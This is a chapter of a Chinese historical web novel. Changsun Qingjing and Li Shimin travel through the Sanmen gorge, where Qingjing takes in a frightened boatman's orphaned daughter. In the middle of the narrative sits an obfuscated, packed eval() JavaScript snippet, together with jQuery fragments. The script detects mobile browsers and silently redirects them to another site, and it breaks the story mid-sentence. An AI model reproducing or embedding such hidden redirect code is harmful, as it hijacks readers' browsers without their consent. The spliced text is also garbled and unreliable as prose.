船近三门的晌午,长孙青璟听到船主与乐班班主的交谈,昼夜不停歇的琵琶箜篌声一时消散了。
僧侣们原先零散自发的的午课突然变成了与早晚时一样的统一诵经。
船速明显地减慢了,有船工开向客人们呼号祭祀开始,留在房中静待即可,不要饮酒娱乐,以免冲撞禹王。
年轻的船工们将香案、香炉、酒、盐、肉脯、纸马陆续搬上船头。
舵师与船主亲自主持祭祀,大家虔诚地向着案上的陶土大禹像跪拜,高声向空中念着粗浅的祷词:“禹王开恩,佑我船行;三门闯过,风平浪静。”
然后,船工们开始焚烧纸马,向河中投掷铜钱和米粟。
从未经过砥柱山的船客好奇地探身,暗中观察这种古老的祈福仪式,觉得既滑稽又粗鄙。
当船慢慢来到人门前方时,初次看到砥柱山的船客便再也笑不出来了。
山形嵯峨如剑指苍昊,仰望层嶂蔽日,俯瞰恶浪吞舟。
船客们口中说辞也不禁与“粗鄙”的船工们一致起来。
“禹王佑我。”
“阿弥陀佛。”
楼船缓缓地驶入最宽处不过二十步的两道岩壁之间。
两岸岩骨嶙峋,色赭如锈铁斑斑;石棱狞厉,苔斑若龙鳞片片。
船工们将桅杆底座上的引绳慢慢向船舷下方放出,两岸栈道上的纤夫用长竿勾取引绳,与主纤绳连接。主纤绳又在距离船身六七步处分作十几股纤绳,交由两边各十几位纤夫牵引。
只听得一声锣响,分隔在两岸栈道上的纤夫们缓缓拖曳着楼船在暗礁险滩之间挪动。
纤夫们随着栈道的上升几乎贴着离地十步的悬崖而行,两侧的船舷在纤头的号角与旗语指挥下,擦着嶂壁在这四里长的绝境中求生。
整艘船出奇地安静。
一个三四岁的陌生女孩儿蹦跳着跑上上层楼阁,外面的船舷贴崖壁而行的险境似乎与她全无关系。
相比勋贵家同龄女孩,比如长孙纫佩,这个女孩更矮小瘦弱些,皮肤和头发因为过多暴露在户外而发黄。
难得的是苦难没有夺走她好奇的双眼与探险的勇气。在并不平稳的船面上跌倒了就扑扑尘土站起来,然后在三层楼阁的每个舱室前东张西望一下。
阿彩正准备把这女孩赶去楼下时,长孙青璟注意到了孩子身上的斩衰,心生怜悯,便招呼她进入自己舱室。
小女孩倒也不怯场,道了声谢,便接过蝈娘递来的一盘子果脯狠狠咀嚼了起来。蝈娘问她父母姓甚名谁,她居然一脸困惑,言辞含糊。
“蝈娘,不要为难孩子了。她穿着斩衰,神志好像还没有从亲人的丧事中恢复过来。船又晃得人恶心。”长孙青璟想起了自己八岁丧父的情景,太息道,“可能她还不知道经历了什么,你去楼下打听一下她家人,来去小心颠簸。”
阿彩发现小女孩手指黝黑,忍不住为她擦拭干净。
“慢点吃,小心噎到。”阿彩微笑着抚摸这孩子蓬乱的头顶,拔下自己头上银梳为她梳理毛躁打结的头发。
“用我的香泽和面脂吧。”长孙青璟想起邙阪道上那些急于将婴儿卖给贵妇人的饥民,想起未死之时已经为自己挂起招魂幡的母子,满腔愧疚化成急迫的补偿之心,便将女孩子抱到自己身边。
阿彩会意,将鱼洗盛满温水。长孙青璟亲自为孩子梳洗,在她枯发上涂抹香泽,又用面脂将她肌肤皴裂处一一填补。
这个孩子,有种养尊处优的贵族女孩所没有的察言观色或者刻意逢迎的特质。
长孙青璟与阿彩主仆为这孩子梳洗干净后,她急于为陌生的、充满善意的女主人倒上饮子致谢。
大概在孩子心中,被施舍一碗粥与几个果脯是没有什么区别的,她已经习以为常。
但是从来没有人像母亲一样把她拾掇得干净体面。艰难的人生中偶尔透进了一丝光,孱弱的灵魂便奋力地攫住了它。
蝈娘干脆利落的脚步声传来。
“娘子,我打听清楚了。这是新来船工的女儿,母亲新丧,和父亲回河东投亲。船主本来不想收留他们父女,但是她阿耶居然识字能写《行程历》,且只要一半佣金,条件是带着女孩上路。船主心善,便应允了——这孩子平日就与厨娘在一起,不碍手脚,今天大概大家都在紧张过人门的事情,她得了空,就跑上来了……厨娘就在外面,可以即刻带走孩子……”
“这船主哪里心善了,精明得很,还不是抓住了鳏夫的命门占人家便宜,装什么大善人——你想回去吗?”长孙青璟搂着小女孩问道,“还是在我这里多呆一会儿?”
“我叫穗儿。”小女孩蘸水在地板画了个形似麦穗的物件,“娘子,穗儿想待在这里……”
“好!”长孙青璟爽快地答应,嘱咐蝈娘让厨娘先回去,晚些时候由蝈娘把孩子送回去。
阿彩好不容易在箱箧中找出一套波罗毬,四人一人一支短杖击球作乐。
日暮时分,航船终于驶出了“人门”。船工与船客们好像相互商量好似的,为自己绝处逢生而长吁一口气。
喝彩声、鼓掌声、祈祷声一时俱起,穗儿也扔下短杖和小球,跑到窗边看船工们收起引绳,船尾驶出夹壁,发出“啊啊”的惊呼。
一直在甲板上观看两岸风景的李世民终于回到舱室。
“我还奇怪你怎么不下来找我,原来在和一只小团子玩耍。”李世民蹲下身,细细打量小女孩,“我原以为纫佩是我见过最娇弱的女孩子,想不到还有更骨瘦如柴的……你从底层船舱的河东人手里买的?”
“是小穗子不是小团子。”长孙青璟笑着把瑟缩在身后的穗儿抱到身前,“是船工的女儿。她父亲宁可少拿佣钱也要把她带在身边,哪里舍得把她卖了?蝈娘打听了一下,说她阿耶在底层划桨没工夫照看她,她满船乱窜就迷路了——穗儿,去,把球打进门里!你不要输给阿彩!”
穗儿与阿彩、蝈娘继续着这种不太激烈的小马球模拟比赛。
“我看这孩子也不是很想念她阿耶嘛?”李世民轻声咕哝了一句。但是他依旧容忍着一个非亲非故非官宦人家的孩子留在自己舱室中玩耍。
“我在邙阪道上,看到太多苦命人了。”长孙青璟望着窗外与船工们招手告别,又在悬崖栈道上返程的纤夫,太息不已,“还有上东门、落星峪……今天能帮到穗儿,哪怕就是让她开心一两个时辰,我也觉得心中巨石落地。”
李世民点头默认,对长孙青璟先前的无力感表示感同身受。他顺手把穗儿打歪的球投掷回短杖边。
小女孩和阿彩抢球,一时欢脱,短杖便从手中飞出,砸翻了李世民身边盛放饮子的杯盏。
一时间,沉香味道的茶水飞溅,李世民抬起胳膊挡了一下,说了声:“小心!”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16731796|178809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
待他放下手臂时,穗儿已经完全不似方才那般开朗好动,明亮的眼睛已经黯淡下来。她像只受惊又难以挣脱的小鹿一般伏身于地,以衣袖擦拭地板上的水渍。
穗儿因不可预知的惊恐而浑身颤栗,不敢抬头也不敢开口,只是重复着擦拭的动作。
“这孩子是受到了什么惊吓吗?”李世民把穗儿拉起来,阿彩取来帨巾吸干水渍。
穗儿却像被烫伤般抽身跑到长孙青璟身后。
“我有那么吓人吗?”李世民努力挤出一丝微笑,“她误会我要打她吗?”
“你脸色是不太好,又灰又黄。”长孙青璟把穗儿护在怀里说道,“别怕,这个人只会虚张声势,伤不了穗儿。——毘提诃,你一定是看了民夫拉纤心情又不好了,我现在已经大概能凭你脸色猜到你心思了。”
蝈娘重新奉上饮子。长孙青璟嘱咐她包了些果脯、石蜜糖给穗儿,再将这孩子送回父亲身边。
小女孩向夫妇二人跪拜后离去。
“这孩子一定觉得自己下午做了一个美梦,梦里有一个心善的仙女……”李世民笑道。晚霞从西窗漏了进来,把他刚才如崖壁般生硬暗沉的脸孔映照得柔和明亮些。
“刚才河上的风吹把我的脸吹得有些僵硬,你陪我坐一会儿就大好了——希望你的穗儿晚上噩梦里没有我……”他拿起重新斟满沉香饮子的银杯,心情变得松爽了一些,不由开始自嘲。
“她梦里东西太多了,你排不上!——舵师居然没把你赶回来?”长孙青璟把玩着一支球杆。
“我是大主顾。再加上我又答应他只看不耽搁他,顺便还帮忙递东西,船工们便不算太嫌弃我……这次我还真觉得穗儿陪着你也不错,省得你看到悬崖栈道上的纤夫、悬挂在崖壁枯木间的船只残骸……”
“我不怕。”
“我知道你不怕,可你会难受……”李世民叹了口气,“算了,不提也罢。”
长孙青璟垂眸,又仰面默认。
“……你在想张亮、段志玄他们?”她望着晚霞,想起了那个多事的黄昏。
“也不知张亮找到段志玄父亲没有,段志玄在新安的曹家别业中修养得怎样?”
“张亮是你亲自送走的,段志玄的伤是我亲手缝好的,怎么可能有事?”长孙青璟执起团扇,轻轻拍打李世民肩头,“你我与他们告别时,两人都是生龙活虎的,难道他们连最苦最难的时光都捱过去了还无法自保?你既看轻自己,也看轻我,还看轻另外二位少年侠士,该当何罪?世民,振作些。到了河东,你亲自去打听他二人下落不就行了?”
“夫人见笑了。是我太过小儿女状。”他为豁达的妻子也斟上一杯饮子。
长孙青璟望着窗外问道:“船在往北行驶吗?”
“是。”李世民在阿彩奉上地果盘中挑了一大块石蜜糖,边嚼边说,“舵师说过了这一段险途就是顺流而行了。过了三门就无甚大碍。春天行船还是稳妥的。”
“你说,皇帝现在到哪里了?”长孙青璟虽然讨厌杨广,却按捺不住好奇。
“大驾卤簿走陆路。每到一地都要接受阿谀朝拜,地方官们轮番献上珍宝美人表演忠心戏码。到头来还不及我们快也未可知。”
“那正好。你去河东城拜访过父亲的故旧后,北上晋阳与他汇合倒是最好的安排。”
说起晋阳,两人都不觉期待起来。